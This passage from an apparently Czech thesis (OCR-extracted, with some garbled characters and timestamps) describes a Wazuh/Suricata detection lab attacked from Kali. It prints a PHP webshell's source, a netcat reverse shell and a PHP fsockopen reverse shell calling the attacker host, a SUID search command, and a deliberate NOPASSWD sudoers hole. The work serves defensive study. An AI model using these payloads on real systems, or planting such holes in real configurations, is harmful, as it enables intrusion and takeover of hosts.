technologii KVM/QEMU (Kernel-based Virtual Machine), protoZe technologie nabizi vyssi vykon,
lepsi integraci s jddrem Linuxu a efektivnéjsi vyuZiti systémovych prostredk(. Alternativné by

bylo mozné vyuzit nastroje jako VirtualBox nebo VMware Workstation, které poskytuji

podobnou funkcionalitu.

Na rozdil od aplikaci typu VirtualBox nebo VMware, které bézi jako samostatné procesy nad

operacnim systémem (hosted hypervisor), je KVM implementovano pfimo v jadre Linuxu jako

tzv. kernelovy modul hypervisoru (bare-metal hypervisor). Vyhodou je, Ze virtualizace je

provadéna na nizsi systémové Urovni, coZ snizuje rezii prekladu mezi hostitelskym a hostovanym

prostfedim a umozniuje témér nativni vykon virtualnich strojl (Linux Journal, 2024).

Tab. 2: Infrastruktura virtudlni laboratore

RAM

CPU

Disk

Komponenta (o} IP adresa Poznamka
P (GB) | (jadra) | (GB)
Slouzi jako fyzicky
) Ubuntu hostitel vSech
Hostovaci L, .
) Server 64 12 - 192.168.122.1 virtualnich stroja.
systém e
24.04 Zajistuje pfipojeni
k virtudlni siti KVM.
Obsahuje Wazuh
Ubuntu Manager, Indexer
SIEM (Wazuh ,
Server 24 6 200 192.168.122.120 a Dashboard. Hlavni
Server) o
24.04 centralni uzel
infrastruktury.
Monitorovany
Ubuntu . y
system
Server 1 Server 2 2 25 192.168.122.121 . 3
s nainstalovanym
24.04
Wazuh agentem.
Druhy monitorovany
Ubuntu ,y y
systém
Server 2 Server 2 2 25 192.168.122.122 . i
s nainstalovanym
24.04
Wazuh agentem.
Utoénik (Red | Kali Slouzi k simulaci
] . 4 4 50 192.168.122.224 o
Team / Kali) | Linux utokd

Zdroj: vlastni zpracovani (2025)
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2.1 Pozadavky a prostredi hostitele

Jako hostitelsky operacni systém byla zvolena distribuce Ubuntu Linux 24.04 s vyuzitim
virtualiza¢niho nastroje KVM/QEMU. Nastroj je integrovan pfimo do jadra systému, coz zajistuje
vysokou stabilitu a efektivni vykon virtualizace. Fyzicky stroj vyhrazeny pro provoz laboratore
disponuje 64 GB RAM a 12 jadry CPU. Pro zajisténi plynulého chodu celého prostiedi doporucuji
hardwarové parametry 32 GB RAM, 6 jader CPU a alespor 250 GB volného mista na SSD ulozisti.

Pro zajisténi konzistentnich vysledkd a moZnosti opakovani experimentd je nezbytné po kazdém
testovacim cyklu uvést laboratorni prostfedi do plvodniho stavu pomoci funkce snapshot,
ktera umozZnuje uloZit kompletni stav virtudlniho stroje (vCetné obsahu disku a operacni paméti)
v konkrétnim case. V pfipadé kompromitace systému nebo potieby restartu scénare lze stroje
okamzité navratit do vychoziho bodu, ¢imZ odpada c¢asové narocCna reinstalace operacniho
systému a opétovna konfigurace sluzeb.

ubuntu-server-0 on QEMU/KVM

Skatel v
WM State: Shutoff

Obr. 8: Snapshot ve virtualnim manazeru
Zdroj: Vlastni zpracovani (2025)
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2.2 Navrh a implementace laboratore

Hostitelsky stroj vytvari virtudlni sit v rozsahu 192.168.122.0/24, pfi¢emz jeho vlastni IP adresa
v rdmci segmentu je 192.168.122.1. Jednotlivé virtualni stroje jsou do této sité integrovany se
staticky pridélenymi IP adresami. Pro uzly tvofici chranénou infrastrukturu byl vyhrazen rozsah
192.168.122.120-122, zatimco utocna stanice sdistribuci Kali Linux wvyuZivd adresu
192.168.122.224.

Host:
192.168.122.1

SIEM Ubuntu-blue: Kali Red:
192.168.122.120 192.168.122.224

Virtualni sit 192.168.122.0/24

Agent Ubuntu-yellow-1: Agent Ubuntu-yellow-2:
192.168.122.121 192.168.122.122

Obr. 9: Sitova topologie
Zdroj: vlastni zpracovadni (2025)

Na uzlu s oznacenim ,Ubuntu-blue” je instalovdna kompletni technologickd sada Wazuh
(zahrnujici komponenty Manager, Indexer a Dashboard). Stanice oznadené jako ,Ubuntu-
yellow-1“ a ,Ubuntu-yellow-2“ predstavuji monitorované cile. Sbér bezpeénostnich dat na
téchto strojich zajistuje systém Suricata pro analyzu sitového provozu a démon Auditd pro
monitorovani systémovych procesl a provadénych prikazd. Stroj ,Kali Red” slouZi jako
platforma utoc¢nika, urcena k realizaci penetracnich testd a simulaci Utokd na monitorované uzly
z fady ,Yellow”.

Pro automatizaci a zajisténi reprodukovatelnosti laboratorniho prostiedi byl zvolen systém
Ansible. Systém umoziuje deklarativni definici cilového stavu infrastruktury pomoci YAML
playbookd. Nastroj komunikuje se spravovanymi uzly skrze protokol SSH a zajistuje sekvenéni
provadéni uloh, jako je sprava uZivatelll, instalace softwarovych balickd a distribuce
konfiguracnich soubord. Pro vy$si modularitu projektu jsou jednotlivé logické celky (konfigurace
monitoringu, instalace zranitelnych sluzeb apod.) strukturovany do samostatnych roli.
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playbooks » wa install-all.yml

Pt et

NGB

=] h

w oo
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o
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Pd et
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i

- name: Deploy lab components and cleanup
hosts: yellow:blue
remote user: vbox
become: true
roles:

user-propagation
install-tools
install-vulnerable-ftp
install-dvwa
enable-auditfj
deploy-suricata
wazuh-install
wazuh-agents

Obr. 10: Priklad playbooku s pouzitim roli
Zdroj: vlastni zpracovadni (2025)

Cilova infrastruktura byla navrZena, aby simulovala redlné zranitelnosti v siti. Uzel Ubuntu-

yellow-1 hostuje webovy server Apache s aplikaci DVWA, ktera slouZi k testovani zranitelnosti

na aplikacni vrstvé. Na uzlu Ubuntu-yellow-2 je instalovan FTP server vsftpd v2.3.4, obsahujici

znamou zranitelnost typu backdoor.

Z hlediska spravy identit jsou na vSech strojich vytvoreny tfi uzivatelské profily s pristupem pres

SSH klice:

e Kontrolni Ucet vbox: vyhrazen pro ¢innost Ansible agenta.

e Standardni provozni Ucet nicole: s béZznymi uZivatelskymi pravy.

e Vektor eskalace: provozni Ucet john s chybnou konfiguraci v souboru /etc/sudoers,

kterd umoznuje spousténi prikazli s pravy root bez vyzvy k zadani hesla (NOPASSWD).
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playbooks » roles » install-dvwa » tasks » we main.yml

l -

2 - name: create directory for vulnerable apps

3 ansible.builtin.file:

4 path: "{{ ansible env.HOME }}/vulnerable-apps"
5 state: directory

] when:

7 - inventory hostname == 'ubuntu-server-1'

8

9 - name: Download install script
10 ansible.builtin.copyfj
11 src: Install-DVWA.sh

12 dest: "{{ ansible env.HOME }}/vulnerable-apps/Install-DVWA.sh"
13 owner: "{{ ansible env.USER }}"

14 group: "{{ ansible env.USER }}"

15 mode: 8755

16 when:

17 - inventory hostname == 'ubuntu-server-1'

18

19 - name: Run the installation

20 ansible.builtin.command: "/bin/bash {{ ansible env.HOME }}/vulnerable-apps/Install-DVWA.sh"
21 become: true

22 when:

23 - inventory hostname == 'ubuntu-server-1'

Obr. 11: Priklad playbooku pro instalaci DVWA
Zdroj: vlastni zpracovani (2025)

Systém Wazuh, podobné jako jind SIEM (Security Information and Event Management) feseni,
klade znacné naroky na hardwarové prostiedky, zejména v oblasti vypocetniho vykonu
a propustnosti Ulozisté. v produkénim prostfedi se proto doporucuje implementace formou
clusteru, kde jsou jednotlivé komponenty (Manager, Indexer a Dashboard) distribuovany na
dedikované servery pro zajisténi vysoké dostupnosti a Skalovatelnosti.

Pro Ucely prace a demonstraci testovanych scénafll byla zvolena architektura ,,all-in-one” (vie
v jednom). Vzhledem k omezenému rozsahu laboratorniho prostredi, které sestdva pouze ze
Ctyf soubézné aktivnich virtualnich stroji, je centralizovand instalace plné dostacujici
a nezpUsobuje degradaci vykonu monitorovaciho systému.

2.3 Scénafe utokl z Kali a testovaci plan

Roli uto¢nika v rdmci simulovanych scénarl ztvarni fiktivni APT (Advanced Persistent Threat)
skupina, definovana specifickou sadou TTP (Tactics, Techniques, and Procedures). Detailni
analyza aznalost téchto taktik, technik apostupl je pro obrance zasadni. UmoZnuje
transformovat reaktivni obranu na proaktivni strategii a efektivné pfipravit bezpecfnostni
mechanismy na nejvice pravdépodobné metody, kterym muzZe organizace ze strany redlnych
utocnik celit.

V modulu Threat Hunting nedochazi k dynamickému obnovovani vypisu udalosti, coz vyZaduje
manualni aktualizaci webového rozhrani pro zobrazeni nejnovéjsich dat. Pro potieby dohledu
v redlném case vSak Wazuh disponuje pokrolilymi mechanismy pro generovani a distribuci
bezpecnostnich vystrah (alerting), které umoznuji okamzité predavani informaci pracovnikiim
bezpecnostniho operacniho centra (SOC). Systém podporuje integraci skomunikacnimi
platformami, jako jsou Discord, Slack ¢i Mattermost, a rovnéZz umoznuje zasilani upozornéni
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prostfednictvim e-mailu. Diky podpofe vlastnich integraci Ize vystrahy smérovat do libovolného
informacniho kanalu dle specifickych poZadavk( a metodiky konkrétniho SOC pracovisteé.

2.3.1 Prizkumna faze

V Uvodni fazi Utoku, oznacované jako Reconnaissance (prtizkum), atocnici provadéji skenovani
cilovych serverl scilem identifikovat oteviené porty a potencidlni slabd mista. Mezi
nejrozsirenéjsi nastroje pro skenovani sité patfi program Nmap. Agresivni formy skenovani
generuji znaény objem sitového provozu, ktery systém IDS Suricata dokdze detekovat jiz
v zakladni konfiguraci. Generované logy jsou ndsledné dorucovany do rozhrani systému Wazuh

k detailni analyze, korelaci udalosti a k pfipadné aktivaci obrannych mechanism.

. View surrounding View single
Document Details documents document 2
data.alert.severity i
t data.alert.signature ET SCAN Possible Nmap User-Agent Observed
t data.alert.signature_id 2824364
t data.app_proto http
t data.dest_ip 192.168.122.121
t data.dest_port 86
t data.direction to_server
t data.event_type alert
t data.flow.bytes_toclient 453
t data.flow.bytes_toserver 488
t data.flow.dest_ip 192.168.122.121
t data.flow.dest_port 80
t data.flow.pkts_toclient 4
t data.flow.pkts_toserver 4
t data.flow.src_ip 192.168.122.224
t data.flow.src_port 45624
t data.flow.start 2026-01-87T720:39:61.855266+0000

Obr. 12: Detail udalosti z pohledu obrance ve Wazuh
Zdroj: Vlastni zpracovani (2026)
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Béhem prlzkumu byl identifikovan otevieny port 80, nalezejici webovému serveru, a port 22,
uréeny pro vzdalenou sprdvu systému prostfednictvim protokolu SSH. Ndsledna aktivita se
zaméfila na enumeraci adresarové struktury webového serveru s vyuZitim nastroje Gobuster.
Technika, zaloZzend na utoku hrubou silou proti zndmym nazvim adresard, vedla k nalezu
umisténi aplikace DVWA, ktera predstavuje primarni cil pro dalsi fazi Gtoku na aplikacni vrstveé.

Podobné jako v pripadé skenovani nastrojem Nmap, provoz generovany programem Gobuster
vykazuje specifické pfiznaky vysoké intenzity sitovych pozadavk( v kratkém casovém Useku.
Anomilie v sitové komunikaci jsou zachyceny monitorovacimi sondami a nasledné agregovany
v systému Wazuh. Vysledna data jsou v uZivatelském rozhrani interpretovana prosttednictvim
prehlednych tabulkovych vypisQ a grafickych dashboardi, které bezpecnostnim analytikim
umoznuji identifikovat zdrojovou IP adresu utocnika irozsah provadéné enumerace
adresarovych struktur.

2,292 hits
Jan 6, 2026 @ 22:21:58.545 - Jan 7, 2026 @ 22:21:58.545
@ Export Formatted 3 719 available fields ® = Columns & Density ¢ 1fields sorted [ Full screen
@ timestamp v agent.name ~ rule.description v rule.level ~ rule.id

[@ Jan7,62026 @22:21:37.312  ubuntu-server-1 Web server 400 error code 5 31101
[ Jan7,62026 @22:21:37.312  ubuntu-server-1 Web server 400 error code. 5 31101
[@ Jan7,2026 @22:21:37.312  ubuntu-server-1 Web server 400 error code. 5 31101
[ Jan7, 2026 @22:21:37.305 ubuntu-server-1 Web server 400 error code 5 31101
[@ Jan7,2026 @22:21:37.305 ubuntu-server-1 Web server 400 error code. 5 31101
@ Jan7,2026 @ 22:21:37.305 ubuntu-server-1 Web server 400 error code. 5 31101
Fg Jan7,2026 @ 22:21:37.305 ubuntu-server-1 Web server 400 error code. 5 31101
[ Jan7,2026 @ 22:21:37.305  ubuntu-server-1 Web server 400 error code. 5 31101
[@  Jan7,62026 @ 22:21:37.305 ubuntu-server-1 Web server 400 error code 5 31101
[@ Jan7,62026 @ 22:21:37.305 ubuntu-server-1 Multiple web server 400 error codes from sam.. 10 31151

Obr. 13: Enumerace adresarové struktury z pohledu SOC
Zdroj: Vlastni zpracovdni (2026)

Systém Wazuh vyuzZivd sadu preddefinovanych pravidel k analyze sebranych dat a ndsledné
identifikaci podezrelych aktivit. Pfi provadéni enumerace adresarové struktury webové aplikace
hrubou silou dochazi k aktivaci pravidla s oznac¢enim ,,Multiple web server 400 error codes from
same source ip“. Reakce systému vychazi z vysokého poctu neuspésnych HTTP pozadavki
sméfovanych na neexistujici zdroje z jediné zdrojové IP adresy v kratkém casovém intervalu.
Detekéni pravidla jsou dle miry zavaZznosti a potencidlniho dopadu na bezpecénost
kategorizovana do urovni 1 az 15, coZ usnadnuje prioritizaci incident( pfi jejich nasledném
vySetfovani.

Po identifikaci webového endpointu s pfihlasovacim formulafrem se Utocnik mizZe zaméfit na
kompromitaci pristupovych udaji pomoci slovnikového Gtoku nebo utoku hrubou silou. Pro
simulaci vektoru utoku byl vyuZit nastroj Burp Suite. Detekce Utoku hrubou silou byla realizovana
prostfednictvim systému pro detekci pranikd (IDS) Suricata. Definované pravidlo generuje
bezpecnostni vystrahu v pfipadé, kdy ze shodné zdrojové IP adresy sméruje pét a vice poZzadavkl
typu POST na endpoint /DVWA/login.php v ¢asovém okné deseti sekund.Frekvence prekracuje
béZné chovani legitimniho uZivatele a zarovert umoznuje spolehlivou detekci Utoénych aktivit.
V rozhrani Wazuh dashboard je udalost interpretovdana nasledovné:
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31 hits 3
Mar 22, 2026 @ 15:07:00.000 - Mar 22, 2026 @ 15:08:00.000 per = Auto ~
7
6
5
‘g’ 4
3 =
2
1 11111
. u
15:07:00 15:07:08 15:07:10 15:07:15 15:07:20 15:07:25 15:07:30 15:07:35 15:07:40 15.07:45 15.07:50 15.07:55

timestamp per second
T udid.dlerL.yiu '

t data.alert.rev 1

t data.alert.severity 3

t data.alert.signature SURICATA - Detected DVWA bruteforce login attempt
t data.alert.signature_id 1806006

t data.app_proto http

t data.dest_ip 192.168.122.121

it data.dest_port 80

t data.direction to_server

t data.event_type alert

t data.files.filename /DVWA/login.php

Obr. 14: Udalost detekce bruteforce
Zdroj: Vlastni zpracovani (2026)

V sekci Threat Hunting je patrné, Ze se utocnici pokusili vyuZit zranitelnost typu SQL Injection,
coz vedlo k vygenerovani dalSich bezpecnostnich upozornéni.

4

3
£
32
U II I
1
: el |
15:35:00 15:40:00 15:45:00 15:50:00 15:55:0
timestamp per 30 seconds
27 hits
Mar 22, 2026 @ 15:30:00.000 - Mar 22, 2026 @ 16:00:00.000
& Export Formatted < Resetview i3 786 available fields @ := Columns {5 Density ¢ 1fieldssorted [ Full screen
A timestamp v~ agent.name ~ rule.description ~
[ Mar 22,2026 @ 15:40:31.6... ubuntu-server-1 Suricata: Alert - ET WEB_SERVER Possible SQL Injection UNION SELECT i...
[@ Mar 22,2026 @ 15:40:23.6... ubuntu-server-1 Suricata: Alert - ET WEB_SERVER Possible SQL Injection UNION SELECT i...
[ Mar22, 2026 @ 15:39:59.6... ubuntu-server-1 Suricata: Alert - ET WEB_SERVER Possible SQL Injection UNION SELECT i...

Obr. 15: Detekce SQLi
Zdroj: Vlastni zpracovani (2026)

Systém Wazuh disponuje modulem pro sledovani integrity soubort — File Integrity Monitoring
(FIM). Modul Ize konfigurovat lokalné na jednotlivych agentech nebo centrdlné pomoci
skupinovych politik. Konfigurace je definovana vsouboru /var/ossec/etc/ossec.conf na
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monitorovaném koncovém zatizeni. U webovych serverll je béZznym standardem, Ze aplikace
umoZiuje uZivateldm nahrdvat soubory do specifickych adresarli. Za ucelem monitorovani

potencidlniho vyskytu malwaru je vramci prace sledovdna slozka urcend pro ukladani
nahraného obsahu (/var/www/html|/DVWA/hackable/uploads).

2.3.2 Prvotni pfistup

MoZnost nahravani souborl na webovy server predstavuje kriticky vektor Gtoku, ktery utocnici
Casto vyuzivaji k distribuci vlastniho Skodlivého kdédu. Sekce Threat Hunting dokumentuje
pokusy o nahrani souboru typu webshell, uréeného ke vzdalenému spousténi prikazQ
prostfednictvim webového rozhrani. Samotny systém Wazuh nativné nenabizi vizualizaci
obsahu nahranych soubor(i. Pro zobrazeni téchto dat v dashboardu je nezbytna Uprava
konfigurace IDS Suricata, konkrétné aktivace logovani téla pozadavkl (request body). Nasledné
je obsah v ¢itelné podobé dostupny v detailu udalosti zachycené sitovym senzorem.

W. Discover wazuh-alerts-4.x-2026.03.22#PaM5Fp0B_oqcfDonhbl7

NR72517011aRNAVWEAR7 T+2DNT 7NEAMOAARNNARRZWZ T Amiavns RAadHRwN S 2uMTlwvl s F2N0AvME T

data.payload_printable —

POST /DVWA/vulnerabilities/upload/ HTTP/1.1

Host: 192.168.122.121

Content-Length: 718

Cache-Control: max-age=8

Accept-Language: en-US,en;q=0.9

Origin: http://192.168.122.121

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynT3WStXY
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, 1lik
Accept: text/html,application/xhtml+xml,application/xml;q=8.9, image/avif,i
signed-exchange;v=b3;q=8.7

Referer: http://192.168.122.121/DVWA/vulnerabilities/upload/
Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=Bu2qmuvk9h8dk7igk73ih4tftq; security=medium

Connection: keep-alive

777777 WebKitFormBoundarynT3WStXYBATLBgOw
Content-Disposition: form-data; name="MAX_FILE_SIZE"

168608

—————— WebKitFormBoundarynT3WStXYBATLBgOw

Content-Disposition: form-data; name="uploaded”; filename="webshell.jpg.ph
Content-Type: image/jpeg

<html>
<body=>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="88">
<input type="SUBMIT" value="Execute">
</form>
<pre=>
<?php

if(isset($_GET['cmd']))

{

system($_GET['cmd'] . ' 2=8&1");

}
7>
</pre>
</body=>
</html>

Obr. 16: Detekce nahraného webshellu
Zdroj: Vlastni zpracovdni (2026)
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Bezpecnostnimu upozornéni z IDS Suricata predchazi udalost monitorovani integrity (FIM)
o vytvoreni nového souboru na serveru. Zaznam obsahuje metadata véetné absolutni cesty
k souboru a kontrolnich souctd SHA-1 a SHA-256, které slouZi k identifikaci a nasledné analyze
Skodlivého softwaru.

1 syscheck.mtime_after Mar 22, 2826 @ 16:36:56.000

t syscheck.path Jvar fwww/html/DVWA/hackable/uploads/webshell. jpg.php
t syscheck.perm_after  rw-r--r—-

t syscheck.shal_after 25688bc5487abf57eb89457efod127556be88ed16

t syscheck.sha256_after d47f2c69115e77d9746a2abb26bd713eaaaba2a31bb2dal9e62717fe86T6928b

Obr. 17: Detail udalosti - hash souboru
Zdroj: Vlastni zpracovdni (2026)

Prostfednictvim nahraného rozhrani byly vykonany prikazy, které IDS Suricata identifikovalo jako
podezielé. Ve Webovém rozhrani Wazuh byla na zakladé této aktivity vygenerovana vystraha
s oznacenim: Suricata: Alert - ET WEB_SERVER Exploit Suspected PHP Injection Attack (cmd-=).
Detail udalosti obsahuje kompletni HTTP pozadavek doruceny na webovy server.

lata.http.url /DVWA/hackable/uploads /webshell.jpg.php?cmd=netcat
jata.in_iface enp1s@

lata.ip_v 4

iata.metadata.flowbits http.dottedquadhost

lata.payload ¥

>

REVUIC9EV1dBL2hhY2thYmx1L3VwbG9hZHMvd2Vic2hlbGwuanBnLnBocD9 jbWQ9bmVAY2FBIERUVFAVMSA
4tVWMsZWA7cTawL jkNC1VwWZ3JhZGUt SW5zZWN1cmUtUmVxdWVzdHME IDENC1VZZXTItQWd1bnQ6IE1vemlsb
IChLSFRNTCwgbG1lrZSBHZWNrbykgQ2hyb211LzE@NS4wL jAUMCBTYWZhemk vNTM3L jM2DQpBY2N1cHQ6IHR
1s03E9MCA5LG1tYWd1L2F2aWYsaW1hZ2Uvd2VicCxpbWFnZS9heG5nLCovKjtxPTAUOCxhcHBsaWNhdG1vb
LzE5Mi4xNjguMTIyLjEYMSOEV1dBL2hhY2thYmx1L3VwbGOhZHMvd2Vic2hlbGwuanBnLnBocD9jbWQ9bmM
ogUEhQUEBVTUBLEPTBTMnFtdXZrOWg4ZGs3aWdrNzNpaDROZnRx0yBzZWN1cm10eT1tZWRpdWONCKNvbm51Y

lata.payload_printable v

GET /DVWA/hackable/uploads/webshell.jpg.php?cmd=netcat HTTP/1.1

Host: 192.168.122.121

Accept-Language: en-US,en;q=6.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=6.9, image/avif, image/webp
7

Referer: http://192.168.122.121/DVWA/hackable/uploads/webshell.jpg.php?cmd=nc
Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=Bu2qmuvk9h8dk7igk73ih4tftq; security=medium

Connection: keep-alive

lata.pkt_src wire/pcap
lata.proto TCP
lata.src_ip 192.168.122.224

Obr. 18: Detail udalosti - HTTP request z webshellu
Zdroj: Vlastni zpracovdni (2026)

Utocnik obvykle provadi enumeraci prosttedi za G¢elem zjisténi konfigurace systému. V pfipadé
zranitelnosti typu Remote Code Execution (RCE) dochazi k pokuslim o navazani zpétného spojeni
(reverse shell) sfidicim strojem. Ke generovani vhodnych ptikazd lze vyuZit nastroje typu
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revshells.com (Revshells, 2026), které nabizi implementace v jazycich Bash, PHP, Python nebo

pomoci utility Netcat.

Udalost ,Suricata: Alert - ET WEB_SERVER /bin/bash In URI, Possible Shell Command Execution
Attempt Within Web Exploit” dokumentuje pokus o vyuZiti ndstroje Netcat s parametry

-e /bin/bash 192.168.122.224:9002.

W. Discover wazuh-alerts-4.x-2026.03.22#UqNRFpOB_oqcfDonKLly a ¢
data.http.http_method GET
data.http.http_refer http://192.168.122.121/DVWA/hackable/uploads/webshell.jpg.php?cmd=nc+-e+%2Fbin%2Fbash+192.168.122.224

PGhBbWw+Cjxib2R5Pgo8Zm9ybSBtZXRob2Q9IkdFVCIgbmFtZT8id2Vic2hlbGwuanBnLnBocCI+CjxpbnB1dCBAeXB1PSJURVhUIiBUuYW11PSJjbWQil
GF1dG9mb2N1cyBpZDBiY21kIiBzaXp1PSI4MCI+CjxpbnB1dCBOeXB1PSJTVUINSVQiIHZhbHV1PSJFeGYjdXR1Ij4KPCImb3JtPgo8cHJ1PgpzaDogMT
0gbmM6IG5vdCBmb3VuZAoBL3ByZT4KPC9ib2R5Pgo8L2hBbWw+Cg==

data.http.http_response_body

data.http.http_user_agent Mozilla/5.8 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.8.0 Safari/537.36
data.http.length 177

data.http.protocol HTTP/1.1

data.http.status 200

data.http.url /DVWA/hackable/uploads/webshell.jpg.php?cmd=nc+-e+%2Fbin%2Fbash+192.168.122.224%3A9602

Obr. 19: Pokus o navazani zpétného spojeni
Zdroj: Vlastni zpracovdni (2026)

Pole http_response_body obsahuje odpovéd serveru kdédovanou standardem Base64.
K dekdédovani dat byl vyuzZit nastroj CyberChef (CyberChef, 2026). Z analyzy odpovédi vyplyva, Ze
aplikace Netcat neni v cilovém systému instalovana, v dlisledku ¢ehoZ nebylo spojeni v daném

kroku navazano.

<html>

<body>

<form method="GET" name="webshell.jpg.php">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form=>

<pre>

sh: 1: nc: not found

</pre>

</body>

</html>

Obr. 20: Dekédovana odpovéd web serveru
Zdroj: Vlastni zpracovani (2026)

Nasledujici bezpecnostni zaznam prokazuje vykonani prikazu whoami pfes port 9002. Vzhledem
k drivéjsSimu pokusu o vyuZiti portu 9002 nastrojem Netcat lze vyvodit, Ze Utocnik UspéSné

s

navazal spojeni jinou metodou, kterou IDS na aplikaéni vrstvé nezachytilo jako zndmy utok.
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Obr. 21: Zachyceni "Remote code Execution"

Zdroj: Vlastni zpracovdni (2026)

Modul IT Hygiene v systému Wazuh nabizi prehled o stavu infrastruktury, béZicich procesech

a aktivnich sitovych spojenich na jednotlivych agentech. Sekce Network potvrzuje, Ze proces php

navazal aktivni spojeni se vzddlenou IP adresou 192.168.122.224 na portu 9002.

= W IT Hyglene

Dashboard  System

Addresses Interfaces P

Software  Processes  Metwork

otocols  Services  Traffic

~  Destinationport &

Source port 0
NOT destinationport0 |V (B) Add filter
Top 5 aestnation ports.
514
som
@ 2880
@ 1282
@ ans8
% Export Formatted ® 20avalatle fislds = Columns

agent.name
B ubuntu-server-1
@  ubuntu-server-1
G ubuntu-server-1
@  ubuntu-server-1
[ ubuntu-server-1

ubuntu-server-1

server-2

er-2

~ destination port
38810
9002
42382
53022

Transport protocols

3 Density  © Sort fields

~ destination.ip
192.188.122.1
92.168.122.224
182.188.122.224
11:192.168.122.224
192.168.122.120
182.168.122.120
192.168.122.120
182.168.122.120

192.188.122.1

Obr. 22: Nahled modulu IT Hygiene

O Full screen

~ source.port

41908

80

57343
28377
54649

56773

9 hits

Transport protocel 0

- sourcelp

192.168.122.121
182.168.122.121
182.168.122.121
#i£:192.168.122.121
182.168.122.121
182.168.122.121
182.168.122.122
182168.122.122

182.168.122.122

Zdroj: Vlastni zpracovdni (2026)

ok Explore agent

v Processnome O ~

% Advanced fiters

Top 5 processes
-
|

-
L

~ network transport - process.name
tep sshd

tcp ehp

top sshd

tepé apachez

cp wazuh-agentd

7 7

Detailni analyza sekce Processes odhaluje podeziely proces vyuzity k navazani reverzniho

spojeni. Pole process.args pfimo zobrazuje pouzité argumenty:

-r, Ssock=fsockopen("192.168.122.224",9002);exec("bash <&3 >&3 2>&3");.
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a @
X
Details
Table JSON
t _index wazuh-states-inventory-processes-ubuntu-server-8
t agent.id a1
t agent.name ubuntu-server-1
t agent.version v4.13.1
t process.args -r, Ssock=fsockopen(“192.168.122.224" 9802) ;exec("bash, <&3, =&3, 2-&3");
# process.args_count 5
t process.command_line php
t process.name php
# process.parent.pid 1648
# process.pid 1641
[ process.start Mar 23, 2626 @ 88:51:04.800
t wazuh.cluster.name ubuntu-server-@
t wazuh.schema.version 1.8

Obr. 23: Detail udalosti - argumenty reverse shellu
Zdroj: Vlastni zpracovdni (2026)

2.3.3 Eskalace prav a pivoting

Webové sluzby jsou standardné provozovany pod nizko privilegovanymi ucty, jako je napfriklad
www-data, za UCelem zvySeni bezpecnosti a minimalizace dopad( ptipadné kompromitace.
Pokud udtocnik zneuzije aplikacni nebo systémovou zranitelnost, ziskd pristup k systému
s omezenymi pravy servisniho Uctu. Dalsi postup k pInému ovladnuti serveru vyZzaduje navyseni
opravnéni, ¢ehoz Ize dosdhnout bud’ horizontalnim pohybem v rdmci shodné drovné opravnéni

Vv

(pivoting), nebo vertikalnim vzestupem na dUroven s vy$simi privilegii (privilege escalation).
Mezi typické metody eskalace opravnéni patfi:

Vyuziti mechanismu SUID (Set User ID): SUID predstavuje specidlni bit opravnéni v unixovych
systémech, ktery umoznuje spustit soubor s pravy jeho vlastnika namisto prav uzivatele, jenz
proces inicioval. Pokud je soubor chybné konfigurovan nebo obsahuje zranitelnost, muze
Utocnik zneuZit jeho privilegovany kontext knavdzani reverzniho spojeni, modifikaci
systémovych soubor(l nebo c¢teni citlivych dat. K identifikaci binarnich soubor( s aktivnim SUID
bitem se v praxi vyuziva prfikaz ,find / -type f -perm -4000“. Databdze GTFOBins (gtfo, 2026)
slouZi jako referencni zdroj pro vyhledavani legitimnich program, které Ize k témto ucellim
zneuZit.

Zneuziti planovace uloh Cron: Sluzba Cron slouzi k automatizovanému spousténi skript(
v definovanych intervalech, typicky pro Ucely zélohovani nebo Udriby systému. Ulohy jsou
vykondvany v kontextu uZivatele, ktery je definoval. Pokud jsou prdva k zapisu do spousténého
skriptu nastavena pfili§ benevolentné, utocnik mize do souboru vlozit vlastni kéd, ktery bude
nasledné vykonan s vysokym opravnénim vlastnika ulohy.
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Kompromitace uloZzenych pfihlasovacich tdajl: Nedostate¢na hygiena v oblasti spravy hesel
mUze vést k uloZeni privatnich klicd nebo autentizacnich udaji v ¢itelné podobé v zaloZnich
souborech, skrytych adresarich nebo pfimo v pomocnych skriptech (hardcoded credentials).
Utoénik mGze Udaje ziskat manudlni enumeraci nebo vyuZit vypocetni silu k prolomeni

hashovanych hesel.

Vyuziti neaktualizovaného softwaru: Dle statistik serveru Jerry Gamblin (jerrygamblin.com,
2026) bylo v roce 2025 identifikovano pres 48 000 novych zranitelnosti. Prikladem kritického
nedostatku je zranitelnost CVE-2025-32463 (upvind.io, 2025), kterd umoziiuje utoc¢nikovi ziskat
plnd opravnéni uzivatele root.

2025 CVEs by Month

== Monthly Average: 4,015 5,500

5000

4000 -

3000 4

Number of CVEs
8

2000

1000 4

Obr. 24: Pocet nalez( zranitelnosti v roce 2025
Zdroj: jgamblin github (2026)

Pravidelnd aktualizace softwarového vybaveni je klicovym prvkem minimalizace rizika zneuziti
zndmych zranitelnosti. Systém Wazuh integruje modul Vulnerability Detection, ktery
automatizované spravuje inventar instalovanych aplikaci a jejich verzi na vSech registrovanych
agentech. Pracovnici bezpec¢nostniho dohledu (SOC) tak ziskavaji prehled o programech, které
predstavuji potencialni bezpecnostni riziko pro infrastrukturu.
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Obr. 25: Nahled modulu Vulnerability Detection
Zdroj: Vlastni zpracovani (2026)

Prostfednictvim modulu Threat Hunting lze identifikovat autentizacni udalost realizovanou
protokolem SSH za vyuZiti privatniho klice. Pro hlubsi analyzu kontextu a rekonstrukci aktivit,
které incidentu predchazely, systém Wazuh nabizi funkci View surrounding documents, jeZ
umoziiuje ¢asovou korelaci souvisejicich zaznam.

. View surrounding View single document
Document Details documents
Table JSON
t _index wazuh-alerts-4.x-2826.83.23
t agent.id ee1
t agent.ip 192.168.122.121
t agent.name ubuntu-server-1
t data.dstuser joe
t data.srcip 192.168.122.224
t data.srcport 42382
t decoder.name sshd
t decoder.parent sshd
t full_leg Mar 23 88:88:40 ubuntu-server-1 sshd[2468]: Accepted publickey for joe from 192.168.122.224

